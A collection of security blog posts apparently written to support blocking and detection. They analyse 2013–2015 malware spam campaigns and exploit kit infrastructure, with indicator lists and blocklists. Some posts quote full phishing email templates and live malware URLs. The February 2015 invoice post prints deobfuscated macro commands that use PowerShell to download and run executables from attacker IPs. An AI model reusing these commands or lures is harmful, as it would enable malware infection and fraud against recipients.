Malware spam: "[dan@express-insurance.net]" / "Auto insurance apps and documents"

 This fake financial spam has a malicious attachment:

From:    Dan Bigelow [dan@express-insurance.net]
Date:    18 February 2015 at 09:18
Subject:    Auto insurance apps and documents

Hello ,

Please print “All” attached forms and sign and initial where I highlighted.

Scan and email back to me or fax to me at 407-937-0511.

Sincerely,

Dan Bigelow

Referrals are important to us. If you know anyone who would benefit from our services, please contact me. 

We would appreciate the opportunity to work with them.

2636 West State Rd 434 # 112

Longwood, Fl 32779

Phone 407-215-7318

Fax     407-386-1601

This spam does not actually come from Express Insurance nor have their systems or data been compromised in any way. Instead this is a simple forgery with a malicious Word document attached.

There are actually at least two different versions of the document with zero detections [1] [2]. The macros are a bit too complex for pastebin, but you can download a ZIP here and here [password=infected].

Despite the difference, both seem to download from:

http://ecv.bookingonline.it/js/bin.exe

The download file is saved as %TEMP%\FfdgF.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] indicate that it attempts to phone home to:

83.169.4.178 (Hosteurope, Germany)
202.44.54.5 (World Internetwork Corporation, Thailand)
66.110.179.66 (Microtech Tel, US)

This probably drops a Dridex DLL, however the Malwr analysis appears to have malfunctioned and I don't have a sample.

Recommended blocklist:
83.169.4.178
202.44.54.5
66.110.179.66

Malware spam: "Your latest e-invoice from.."

This fake invoice spam has a malicious attachment:

From:    Lydia Oneal
Date:    11 February 2015 at 09:14
Subject:    Your latest e-invoice from HSBC HLDGS

Dear Valued Customer,


Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.

Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.

Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.

This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.

The company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:

Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC
Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD 
Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND
Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC

The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.216:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

The macro is calling Powershell to download and execute code from these locations:

http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)

The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:

85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)

The malware probably drops a Dridex DLL, although I have not been able to obtain this.

Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159
78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216

(Note, for researchers only a copy of the files can be found here, password=infected)

Malware spam: Payment request of 4176.94 (14 JAN 2015)

This spam comes with a malicious Word document attached:

from:    Alan Case
date:    15 January 2015 at 08:49
subject:    Payment request of 4176.94 (14 JAN 2015)

Dear Sirs,

Sub: Remitance of GBP 4176.94

This is with reference to the above, we request you to kindly remit GBP 4176.94 in favor of our bank account.
For more information on our bank details please refer to the attached document.

Thanking you,
Alan Case Remittance Manager

Other names and job titles seen include:

Alan Case
Melisa Howell
Brooke Barr
Nanette Lloyd
Holly Hartman
Doreen Mclean
Lonnie Boyer
Jessica Richardson
Celeste Singleton
Katie Hahn
Marilyn Barnett
Lois Powell
Donald Yang
Christina Grimes
Keenan Graham
Muriel Prince
Chance Salazar
Francine Nixon

Accounting Team
Senior Accounts
Senior Accounts Payable
Senior Accountant
General Manager
Remittance Manager

The payment amount, name and job title change in each spam, as does the name of the attachment (although this following the format ADV0000XX). There are three malicious Word documents that I have seen, each with a low detection rate at VirusTotal [1] [2] [3] which in turn contain a slightly different macro [1] [2] [3] which attempt to download another component from one of the following locations:

http://95.163.121.71:8080/mopsi/popsi.php
http://95.163.121.72:8080/mopsi/popsi.php
http://136.243.237.204:8080/mopsi/popsi.php

Note the two adjacent IPs of 95.163.121.71 and 95.163.121.72 which belong to Digital Networks CJSC in Russia (aka DINETHOSTING), an IP range of 95.163.64.0/18 that I would recommend you consider blocking.  136.243.237.204 is a Hetzner IP.

The macro downloads a file g08.exe from these locations which is then saved as %TEMP%\UGvdfg.exe. This has a VirusTotal detection rate of 4/57. That VT report also shows the malware attempting to POST to 194.146.136.1:8080 (PE "Filipets Igor Victorovych", Ukraine) which is a well-known bad IP.

The Malwr report is inconclusive, but this exectuable probably drops a Dridex DLL.

Recommended blocklist:
194.146.136.1
95.163.121.71
95.163.121.72
136.243.237.204

UPDATE: the following are Dridex C&C servers which you should also block:
80.237.255.196
85.25.20.107

Spam: "Telefonrechnung NTTCable November 2014"

This German-language spam leads to malware:

Von: NTTCable Europe S.A. [mailto:info@reisebuerowerther.de]
Gesendet: Mittwoch, 26. November 2014 21:15
Betreff: Telefonrechnung NTTCable November 2014

Ihre Kundennummer: 119683
Sehr geehrter Geschäftspartner,
anbei erhalten Sie die NTTCable-Telefonrechnung für den Leistungsmonat November 2014,
Telefonrechnung NTTCable November 2014.

Hinweise zum Format und der digitalen Signatur:
   
Ihre Rechnung ist im PDF-Format erstellt und mit einer digitalen Signatur versehen.
Somit erfüllt Ihre Rechnung alle Anforderungen des Signaturgesetzes.
   
Haben Sie Fragen zu Ihrer Rechnung?
   
Dann rufen Sie uns an. Unser Customer-Care-Team steht Ihnen telefonisch jederzeit gerne zur Verfügung.

Mit freundlichen Grüßen
Ihre Telefongesellschaft
______________________________________________
NTTCable Gruppe
Telefongesellschaft der Deutschen Industrie.
Escher Str. 19
D - 65510 Idstein
Tel: +49 0 6126 - 9 98 76 - 0
Fax:+49 0 6126 - 9 98 76 - 54
EMail: info@nttcable.de
Web: www.nttcable.de
NTTCable Europe S.A.
Registriert in Luxemburg Handelsregisternummer: B 160348
NTTCable Deutschland KG
Geschäftsführender Gesellschafter: Michael Gros
Registriert in Wiesbaden HRA 9407
NTTCable Service KG
Geschäftsführender Gesellschafter: Michael Gros
Registriert in Wiesbaden HRA 9404 

In this case the link in the email goes to http://illen-beauty.ru/wp-admin/3PAbHfSM5FEma from where it downloads a file 2014_11_rechnung_1_1_000309399002.zip containing a malicious executable 2014_11_rechnung_1_1_000309399002_4884_9849_00483_00222_0039459856_29392_000000002008.exe  which at the moment is quite widely detected at VirusTotal with 22/56 engines coming up positive.

The Malwr report shows that the payload is hardened against analysis, but it does show an attempted connection to 109.123.78.10 (UK2.net, UK) which might be worth looking for.

Spam: "Ihre Telekom Mobilfunk RechnungOnline Monat November 2014 (Nr. 95921500725106)"

This spam leads to malware:

From:     Deutsche Telekom AG [g.dogan@idolcarpet.com]
Date:     26 November 2014 at 06:57
Subject:     Ihre Telekom Mobilfunk RechnungOnline Monat November 2014 (Nr. 95921500725106)


Sehr geehrte Kundin, sehr geehrter Kunde,

als Anlage ist die Rechnung 7188201282 als PDF-Datei: Telefonrechnung Telekom November.

Der Gesamtbetrag im Monat November 2014 ist ausgewiesen mit: 271,02 Euro.



Mit freundlichen Grüßen,
Geschäftskundenservice

Telekom Deutschland GmbH
Aufsichtsrat: Timotheus Höttges Vorsitzender
Geschäftsführung: Niek Jan van Damme Sprecher, Thomas Dannenfeldt, Thomas Freude, Michael Hagspihl, Dr. Bruno Jacobfeuerborn, Dietmar Welslau, Dr. Dirk Wössner
Eintrag: Amtsgericht Bonn, HRB 59 19, Sitz der Gesellschaft Bonn
USt-Id.Nr.: DE 1287171
WEEE-Reg.-Nr.: 8820712 

The link in the email goes to http://taxi-haarlem.com/wp-content/ajisev8X7AOkLY from where it downloads rechnung_november_2014_0003900028.zip containing a malicious executable rechnung_november_2014_0003900028_2014_11_0029302375471_03_444_0039938289.exe which has an icon that looks like a PDF file.

This malware has a VirusTotal detection rate of 6/55. The Malwr report shows that it is hardeded against analysis, but it does connect to the following URL:

http://162.144.106.152:8080/974aade0/d0392bb4/

162.144.106.152 has been used several times recently in this type of attack, it is a compromised server belonging to Unified Layer in the US. I strongly suggest that you block traffic to this IP.

"Ihr Zahlungsauftrag - 41401236123" spam

This German-language spam leads to malware.

Von: Sparkasse IT AG [mailto:assistant@fourmusic.com]
Gesendet: Freitag, 21. November 2014 15:03
Betreff: Ihr Zahlungsauftrag - 41401236123

Der Auftrag wurde entgegengenommen.
 21. November 2014, 02:02:17 Uhr

 Sie haben eine Zahlung über 2735,15 EUR an Miss Elita Zirne veranlasst.
 Wir haben die Sparkasse über die Versandbereitschaft des Artikels in Kenntnis gesetzt. Weitere Details zu diesem
Vorgang:
2014_11_Sparkasse_details_4543735454333.zip. 

In this case the link goes to agromark-bimsa.com.ar/VR7wkx13 where it downloads a file 2014_11_transaktions_id_000000039190.zip which in turn contains a malicious executable 2014_11_transaktions_id_000000039190_de_398000283221_0033565020_029389227_92_200001.exe which has a VirusTotal detection rate of 14/55.

Automated analysis tools [1] [2] [3] are not particularly revealing, but similar recent malspam runs have been linked to Geodo.

Vodafone D2 "Ihre Festnetz-Rechnung für November 2014" spam

This fake Vodafone spam seems to be widely distributed, even though it is obviously targeted at German speakers.

From:     Vodafone D2 [2942-MU31406aBM0@kundenservice.vodafone.de] [pm2053em1]
Date:     13 November 2014 09:13
Subject:     Ihre Festnetz-Rechnung für November 2014


Ihre Kundennummer: 883286157

Sehr geehrte Damen und Herren,

anbei erhalten Sie Ihre Rechnung vom 13.11.2014.

13.11.2014_09:11:07_Rechnung_Kundennr_861570000883286157.pdf

Der Rechnungsbetrag in Höhe von 357,26 EUR wird am 23.11.2014 von Ihrem Konto abgebucht.

Ihre Rechnung ist im PDF-Format erstellt worden. Um sich Ihre Rechnung anschauen zu können, klicken Sie auf den Anhang und es öffnet sich automatisch der Acrobat Reader.


Freundliche Grüße
Ihr Vodafone Team

In this case, the link in the email goes to studiarte.com/gFlEyLcSo where it downloads a file 2014_11vodafone_onlinerechnung.zip which contains a malicious binary 2014_11vodafone_onlinerechnung_0020003909_november_3903980009_11_00000000445.exe

This file has a very low detection rate at VirusTotal of 1/53. Most automated analysis tools [1] [2] [3]  don't say much, however the ThreatTrack report [pdf] is more details and apparently shows the malware phoning home to:

46.183.219.78 (DataClub, Latvia)
178.210.167.213 (Markum Bilisim Teknolojileri, Turkey)

Additionally, the following IPs and active domains are queried:

64.27.101.155 (Ken Thomas, US)
109.74.3.6 (GleSYS Internet Services, Sweden)
144.76.59.84 (Hetzner, Germany)
177.73.233.170 (WDI Solucoes Ltda, Brazil)
212.19.62.76 (ANW GmbH, Germany)

5.199.167.197 (Balticservers, Lithunia)
86.124.164.25 (RCS & RDS Business, Romania)
66.172.27.44 (Cyberverse, US)
141.255.165.152 (Privatelayer, Switzerland)
141.255.165.155 (Privatelayer, Switzerland)
173.193.106.11 (Softlayer, US)

qgajlouuhqbikgbd.eu
qrbroaiyynlqluld.eu
tadhvhvdhgtaxnpd.eu
bcqikqgkbiwccmpj.eu
ciomywfqliwtvjft.eu
vgekmcvfuiwrepmm.eu
xqnaiuvgctjdtnmj.eu
eaelgqsjqukhenaq.eu
tejohjlxraqmamnx.eu

Some of these DGA domains have been sinkholed, I have removed obvious ones but not that some of these IP addresses may not actually be malicious. However, if you are a network administrator there is no harm in blocking or monitoring sinkholes from your network, so I would recommend the following blocklist:

46.183.219.78
178.210.167.213

109.74.3.6

177.73.233.170

5.199.167.197
86.124.164.25
66.172.27.44
141.255.165.152
141.255.165.155
173.193.106.11

UPDATE 2014-11-20: 
I previously recommended blocking the following IPs which it turns out are legitimate, possible added by the malware authors to create false positives. If you have blocked them then I recommend unblocking them.

64.27.101.155
144.76.59.84
212.19.62.76

Something evil on 87.118.127.230

Quite what exploit kit this is I cannot determine, but there's something evil on 87.118.127.230 (Keyweb, Germany) which is using hijacked GoDaddy-registered subdomains to distribute crap. It's definitely worth blocking this IP. The source looks like some sort of malvertising, but I have incomplete data.

The domains I have seen being abused are:
aacregistry.org
agostjoe.com
apprizse.com
association-connect.com
barnesvillechiro.com
bwclinic.com
chiro-connect.com
ctkblockparty.org
holyhoops.net
josephrobidoux.com
lifeatctk.org
mca-connect.com
midwestartists.org
missouritheater.com
missouritheater.net
missouritheater.org
missouritheatre.com
missouritheatre.net
missouritheatre.org
moveonedegree.com
mvsummerhoops.com
premiermortgagenetwork.info
rapidpricecomparison.com
robidouxrow.com
smallbiz-connect.com
staffing-connect.com
stjoarts.org
stjoearts.com
trailswest.org
tumainiag.com
tumainiag.org
vpmspecialists.com

A list of all the subdomains I have seen can be found here [pastebin]

Something evil on 88.198.252.168/29 (Ransomware)

88.198.252.168/29 (Hetzner, Germany) is infected with a whole bunch of ransomware landing pages, like this:

In the past this IP range has been used to host a number of legitimate Austrian sites, but at the moment it appears to be hosting ransomware landing pages exclusively.

The domains in use are a combination of crappy .in domains registered to a series of fake addresses, plus a bunch of subdomains of legitimate domains that have been hijacked. What is interesting about these hijacked domians is that they all use afraid.org as namerservers.

This hijacking at afraid.org is because these particular domain users are using the free afraid.org service which allows anyone to create a subdomain of your domain and point is where they like (explained in this FAQ). The bad news is that this sort of hijacking is a quick way to ruin your domain's reputation. A full list of the subdomains and domain I can find is here [pastebin].

Although this is a Hetzner IP, it is suballocated to a customer who may or may not know anything about this abuse of the IPs in the range:

inetnum:        88.198.252.168 - 88.198.252.175
netname:        ANDY-CONTE
descr:          Andy Conte
country:        DE
admin-c:        DS15036-RIPE
tech-c:         DS15036-RIPE
status:         ASSIGNED PA
mnt-by:         HOS-GUN
source:         RIPE # Filtered

person:         Dmitry Seleznev
address:        Ivana Franko 38-364
address:        121351 Moscow
address:        RUSSIAN FEDERATION
phone:          +79270473970
nic-hdl:        DS15036-RIPE
mnt-by:         HOS-GUN
source:         RIPE # Filtered

Blocking these landing pages will probably not stop a PC from becoming infected with ransomware, but monitoring or blocking the following list may give you some intelligence as to what is happening on your own network.

Recommended blocklist:
88.198.252.168/29
fernandocoelho.net.br
duk66.com
cerone.com.ar
gigliotti.com.ar
clawmap.com
lareferencedentaire.com
izaksuljkic.tk
suulaav.com.np
iseoz.com
friendfamily.id.au
hamiltonewave.com
bandloudi.org
loware.com
private-checker.com
hewmet.eu
mightycoronanation.com
muzzu.com.ar
cuidadonatural.cl
acousauth.com
aybear.com
perthorthodontist.com.au
settleurdebt.com
irisstom.ru
quinha.com.br
tjma.tk
projectsmanaged.com.au
bonata.ro
seguy.cl
deepthots.com
kaki5.web.id
law-enforcement-dtwnourq.in
law-enforcement-dwygrbjz.in
ttx79.com
danielbyrnes.net
universalpeacesociety.org.au
law-enforcement-ebvcbwuw.in
tartsandcrafts.ca
snaggleboards.com
pata1.info
gomeansgo.com
blindsided.us
dlaurentfamily.com
thedrunction.com
bal-tazaar.be
rcs.gr
totten.co
tools-bejo.net
siecon.com.mx
johordt.tk
redstarsclub.su
andrewerdna.co.za
y2014.net
interkatsolutions.com
astrocode.ro
channings.me
utn88.com
hkhotspot.com
muzcgb-ural.ru
mwautomotriz.com
theclubpointbar.ch
jpsa.org.za
tonykohn.tk
takony.hu
grosiragen.com
latanska.com
myipo.pw
study7979.com
weisms.com
armturist.ru
aap73.com
ufaopen.ru
hmh.ro
acupuncturaveterinara.ro
123erp.net
s1.lv
law-enforcement-jjuawtsk.in
gloverhouse.co
comercialmontenegro.cl
ritterservices.net
ancilla.com.au
familiestogether.biz
e-forever.tk
pkp88.com
seppalat.fi
balticexperts.eu
emad.com.ar
iostardata.com
resultadoshumbertoabrao.com.br
ttgrules.com
ket87.com
thejobarena.com
wolf-tec.net
partirviajes.tur.ar
1729.su
pimpthesebums.com
satoshidaily.info
worldslegendshalloffame.com
bahosss.ru
besthub.ro
tsdnasaud.ro
alte.co
cuaca.co.id
smartzbloz.net
at-who.com
perciun.md
dubinkin.me
opoopoiso.com
wtr2.ro
sysmanager.ro
halfluke.info
greenhopetz.com
tucglam.com.ar
diegonunez.com.ar
extex-project.org
moserag.ch
rizahilmi.com
tattomasaj.ro
parabolaresear.ch
dreamstartups.com
morganvenable.com
tourismwelfare.org.np
caribgonewild.net
manausclass.com.br
thatsagreatshadeoflife.com
ymu88.com
cellotelecom.com
katamari.one.pl
excuse.ro
towelie.net
recursosmendoza.com.ar
znd88.com
fkmpp.web.id
niedermaier.li
law-enforcement-tugeyogn.in
bernardifinancial.com
jobvolume.ru
saints-eagle.ru
dextm.ro
rutahostal.cl
institutosinapsis.com.ve
hilinknet.ir
uac55.com
pablodelamaza.cl
szamajuanangel.com.ar
simpsons.com.ar
law-enforcement-vbzcqvfd.in
splashweave.com
megaorganizada.com.br
cliovirtual.cl
kancilja.si
prudentialworld.net
juegosychorradas.com
juancruzweb.com.ar
detectmobile.co.za
mpas.co.za
aapialang.co.id
album.web.tr
g24.ch
whereiszacbunch.com
preguntasconducir.com.ar
iwanacakadut.com
x-alps.com.ar
alexandrearsenaultj.tk
shockata.nl
vipny37.com
angrybirdsonline.com.ar
nursani.web.id
3hstudio.ro
freeebooksdownload.com.ar
getcash4bills.com
tqchoaphung.tk
aksoftware.ru
mol-ck.com
borrowedwine.com
jobvolume.bg
xn--leppnen-8wa.net
npa99.com
paysuper.com
nextclick.ro
scribetown.com
espertiseconsulting.com.ar
kitsune-sama.com.ar
system-check-adnfecjx.in
system-check-awppaaid.in
system-check-bfuljagg.in
system-check-cabhpfuv.in
system-check-dgaaixxq.in
system-check-efbxqcsa.in
system-check-elotpdux.in
system-check-etldvwxb.in
system-check-evkfmgay.in
system-check-faliyfse.in
system-check-fpkbcyot.in
system-check-fshknbfm.in
system-check-fyeltkhn.in
system-check-hiudyjbm.in
system-check-icrkskuc.in
system-check-lrimafgm.in
system-check-ndyihbuc.in
system-check-npgodwaj.in
system-check-nsgycsvo.in
system-check-nzsupdku.in
system-check-pjiosnkb.in
system-check-qufngsmj.in
system-check-rcabswpl.in
system-check-rrhoipny.in
system-check-udkoeulo.in
system-check-ukxmncwd.in
system-check-vbjiikcz.in
system-check-vorxvayt.in
system-check-vqypvqft.in
system-check-wxotxgwd.in
system-check-zagcqrhq.in
system-check-zfwwxmnq.in

"2014_06rechnung_0724300002_sign.zip" spam

I don't have a sample of the German-language spam spreading this attack, but it is similar to this one and it entices the victim to download a ZIP file  from [donotclick]officialdund.co.uk/wp-content/themes/officialdund/mobilfunktelekom/2014_06rechnung_0724300002_sign.zip

Inside the ZIP file is a malicious executable 2014_06rechnung_0724300002_pdf_sign_telekomag_deutschland_gmbh.exe which has a very low VirusTotal detection rate of just 1/54. The Malwr report shows that it downloads a further executable rqvupdate.exe [Malwr report] which phones home to 204.93.183.196 (Server Central, US) and has a VT detection rate of just 2/52.

The Anubis report also shows connections to 50.31.146.109 (Server Central, US), 5.135.208.53 (OVH, France / QHoster Ltd, Bulgaria) and 103.25.59.120 (Ransom IT Hosting, New Zealand)

Recommend blocklist:
5.135.208.53
50.31.146.109
103.25.59.120
204.93.183.196

"Ihre Festnetz-Rechnung für Juni 2014" Vodafone spam

Over the past few weeks I have seen a concerted attack on German language speakers with various fake invoices leading to a malicious ZIP download. Here is one example:

From: 1562404288-0002@rechnung.vodafone.de
Sent: 17 June 2014 09:00
Subject: Ihre Festnetz-Rechnung für Juni 2014 #3232853429
Importance: High

Ihre neue Rechnung ist online

Sehr geehrte Kundin, sehr geehrter Kunde,

Ihre Rechnung vom Juni 2014 ist jetzt für Sie zum Abruf bereit.
Ihre Festnetz-Rechnung für Juni 2014 #25-36-8114.zip.

Die Gesamtsumme beträgt 224,88 Euro.

Der Rechnungsbetrag wird frühestens 5 Tage nach Rechnungszustellung von Ihrem angegebenen Konto eingezogen.


Mit freundlichen Grüßen
Ihr Vodafone-Team 

Of course, this isn't from Vodafone at all. The link in the email goes to [donotclick]gabilevin.com/wp-includes/SimplePie/Net/vodafoneteam which downloads a ZIP file 2014_06rechnung_pdf_vodafone.zip which in turn contains the malicious executable 2014_06rechnungonline_pdf_vodafone_00930220374_53790190_82456.exe which has a low detection rate of 3/54 at VirusTotal.

The Malwr report shows that this performs a download from 204.93.183.196:8080/70144646/974aade0/ (Server Central, US) which in turn drops another malicious binary rqvupdate.exe which also has a detection rate of just 3/54. The Malwr report for that is here.

pcwelt.de hacked, serving EK on 91.121.51.237

The forum of popular German IT news site pcwelt.de has been hacked and is sending visitors to the Angler exploit kit.

Visitors to the forum are loading up a compromised script hxxp://www[.]pcwelt[.]de/forum/map/vbulletin_sitemap_forum_13.xml.js which contains some Base64 obfuscated malicious code (see Pastebin here) which uses a date-based DGA (domain generation algorithm) to direct visitors to a URL with the following format:

[7-or-8-digit-hex-string].pw/nbe.html?0.[random-number]

The .pw domain contains Base64 encoded data which points to the payload kit, in this case [donotclick]exburge-deinothe.type2consulting.net:2980/meuu5z7b3w.php (Pastebin) which is hosted on 91.121.51.237 (OVH, France). This appears to be the Angler EK.

It looks like the EK domains rotate regularly, but the following sites can be observed on this address:

ingetrekte.valueoptimizationfrontier.com
shellshellwillbomb.type2consulting.net
voorspannenzl.valueoptimizationfrontier.com
tourmenterai.afiduciaryfirst.com
kingyoku.typetwoconsulting.com
mittelbau.typetwoconsulting.com
yogeespith1.typetwoconsulting.com
rozrzewnienie.typetwoconsulting.com
geschaeftlichen.typetwoconsulting.com
kyhtyy-pimprinum.typetwoconsulting.com
jezuietendriesthe.typetwoconsulting.com
depolitsuperconfusion.typetwoconsulting.com
degivreraitdeorganization.typetwoconsulting.com
sknktekonzile-streelsters.typetwoconsulting.com
shogunalbeschenktet.viverebenealcaldo.com
subigi.valueoptimizationfrontier.com
totalize.valueoptimizationfrontier.com
puyaljoukou.valueoptimizationfrontier.com
weisungsgemaess.valueoptimizationfrontier.com
kezune-palpitera.valueoptimizationfrontier.com
remorquervltimme.valueoptimizationfrontier.com
clackdisfundamellemting.valueoptimizationfrontier.com
doscall.type2consulting.net
pehmoilla.type2consulting.net
moariesubigissem.type2consulting.net
unvigilant-straucht.type2consulting.net
mycetozoanreassesses.type2consulting.net

It is worth noting that these domains appear to have been hijacked from a GoDaddy customer:
type2consulting.net
valueoptimizationfrontier.com
typetwoconsulting.com
afiduciaryfirst.com

The following .pw sites are live right now, hiding behind Cloudflare:
7411447a.pw
31674ec.pw
e4ae59eb.pw
95bded0e.pw

Recommended blocklist:
91.121.51.237
type2consulting.net
valueoptimizationfrontier.com
typetwoconsulting.com
afiduciaryfirst.com
7411447a.pw
31674ec.pw
e4ae59eb.pw
95bded0e.pw
(and if you can block all .pw domains then it is probably worth doing that too)

Thanks to the #MalwareMustDie crew and Steven Burn for help with this analysis.

Fake RBS spam spreads malware via Cubby.com

This fake bank spam downloads malware from file sharing site cubby.com:

From:     Sammie Aaron [Sammie@rbs.com]
Date:     11 June 2014 12:20
Subject:     Important Docs

Please review attached documents regarding your account.

To view/download your documents please click here

Tel:  01322 215660
Fax: 01322 796957
email: Sammie@rbs.com

This information is classified as Confidential unless otherwise stated. 

The download location is [donotclick]www.cubby.com/pl/Document-772976_829712.zip/_e97c36c260ed454d8962503b18e37e86 which downloads a file Document-772976_829712.zip which in turn contains a malicious executable Document-772976_829712.scr which has VirusTotal detection rate of just 1/54.

Automated analysis tools [1] [2] [3] [4] show that it creates a file with the disincentive name googleupdaterr.exe and attempts to communicate with the following IPs:
85.25.148.6 (Intergenia AG, Germany)
192.99.6.61 (OVH, Canada)
217.12.207.151 (ITL Company, Ukraine)

(Plain list)
85.25.148.6
192.99.6.61
217.12.207.151

Something evil on 5.254.96.240 and 185.5.55.75

This malware attack appears to be aimed at German speakers, and is presumably spreading through spam although I don't have a sample of the email message. What I do have is a nasty EXE-in-ZIP payload that masquerades as a bill or other communication from Deutsche Telekom, Vodafone, Fiducia or Volksbank.


URLquery shows one such download in this example, the victim has been directed to [donotclick]gf-58.ru/telekom_deutschland which in turn downloads a ZIP file Rechnungsruckstande_9698169830015295.zip which in turn contains a malicious executable Mitteilung, Rechnungsruckstande 9901169820005294 Telekom Deutschland GmbH vom Januar 2014.exe which has a VirusTotal detection rate of 7/48.

The malware is downloaded from a server at 5.254.96.240 (Voxility, Romania). Sample URLs on this server (according to URLquery and VirusTotal) are:

[donotclick]gdevseesti.ru/telekom_deutschland/
[donotclick]gdevseesti.ru/vodafone_online/
[donotclick]gf-58.ru/telekom_deutschland/
[donotclick]gf-58.ru/volksbank_eg/
[donotclick]goodwebtut.ru/fiducia/
[donotclick]goodwebtut.ru/telekom_deutschland/
[donotclick]goodwebtut.ru/vodafone_online/
[donotclick]mnogovsegotut.ru/fiducia/
[donotclick]uiuim.ru/fiducia/

The Anubis report and ThreatExpert report [pdf] show that the malware calls home to dshfyyst.ru on 185.5.55.75 (UAB "Interneto vizija", Lithunia). There are some other suspect sites on the same server which may be worth blocking (see below).

All these sites are .ru domains registered to the infamous "Private Person" so there are no clues as to their ownership.

Recommended blocklist:
5.254.96.240
gf-58.ru
uiuim.ru
okkurp.ru
gdevseesti.ru
goodwebtut.ru
mnogovsegotut.ru
185.5.55.75
gossldirect.ru
dshfyyst.ru

Update: this appears to be Cridex aka Feodo, read more.

Malware sites to block 15/11/2013 (Caphaw)

Thanks to a tip to investigate 199.68.199.178 I discovered that the Caphaw network I looked at yesterday is much bigger than I thought. The following IPs and domains can all be regarded as malicious (.SU domains are normally a dead giveaway for evil activity).

The recommended blocklist is at the end of the post (highlighted). These are the hosts involved either now or recently with hosting these Caphaw domains:

5.175.173.219 (GHOSTnet, Germany)
5.231.66.192 (GHOSTnet, Germany)
23.90.28.12 (ServerHub Dallas, US)
46.4.47.20 (Hetzner, Germany)
46.4.47.21 (Hetzner, Germany)
46.4.47.22 (Hetzner, Germany)
88.198.57.178 (Hetzner, Germany)
88.200.98.137 (Studentski domovi v Ljubljani, Slovenia)
91.186.19.48 (Simply Transit, UK)
92.48.122.132 (Simply Transit, UK)
108.170.54.251 (eWebGuru, India / Secured Servers, US)
109.200.4.114 (Redstation, UK)
109.123.127.228 (UK2, UK)
141.8.225.5 (Rook Media, Switzerland)
151.236.49.136 (Simply Transit, UK)
153.153.19.23 (Open Computer Network, Japan)
181.41.193.168 (Host1plus Brazil, Chile)
184.22.246.31 (Network Operations Center, US)
184.82.62.95 (Network Operations Center, US)
188.227.161.26 (Redstation, UK)
198.52.243.229 (Centarra Networks, US)
199.68.199.178 (Lightwave Networking, US)
213.229.90.199 (Simply Transit, UK)

The following hosts appear to be hosting nameservers for these domains (note that USAISC has been identified doing this before):

1.165.101.158 (Chunghwa Telecom, Taiwan)
6.79.15.154 (USAISC, US)
31.83.89.143 (Orange PCS, UK)
62.75.232.182 (Eurostream, Lithunia / Intergenia AG, Germany)
78.188.5.201 (Turk Telekom, Turkey)
85.25.152.130 (Intergenia AG, Germany)
87.98.136.239 (OVH, France)
91.121.199.45 (OVH, France)
95.143.32.212 (Inline Internet, Germany)
188.138.10.29 (EvroHoster.ru. Ukraine / Intergenia AG, Germany)
188.138.10.30 (EvroHoster.ru. Ukraine / Intergenia AG, Germany)
188.138.78.229 (Eurostream, Lithunia / Intergenia AG, Germany)
188.138.78.232 (Eurostream, Lithunia / Intergenia AG, Germany)
188.138.78.248 (Stepan Alexander Mereuta, Moldova / Intergenia AG, Germany)
196.44.161.31 (Dar Es Salaam University, Tanzania)
198.52.240.8 (Avante Hosting Services, Canada)
217.172.187.9 (Intergenia AG, Germany)

These are the domains involved (I would strongly recommend blocking them):

afn.cc
akf.cc
alphard-info.net
astats.su
bai.su
blinking-imgs.su
caf.su
careservice.su
ciz.cc
collectserv.su
digital-in-one.cc
dig-services.at
dmf.su
eewuiwiu.cc
eguards.cc
enp.cc
e-statistics.su
estatus.cc
estatus.su
eux.cc
exy.su
fey.su
fooyuo.cc
frnm.su
g4-maxservice.su
giuchito.cc
guodeira.cc
gva.cc
higuards.su
ieguards.cc
iestat.cc
imgscores.cc
inetprotections.cc
infoenv.cc
invisibleski.com
iostat.su
istat.cc
iwebstats.cc
iwebstats.su
klr.su
lbb.su
lbp.cc
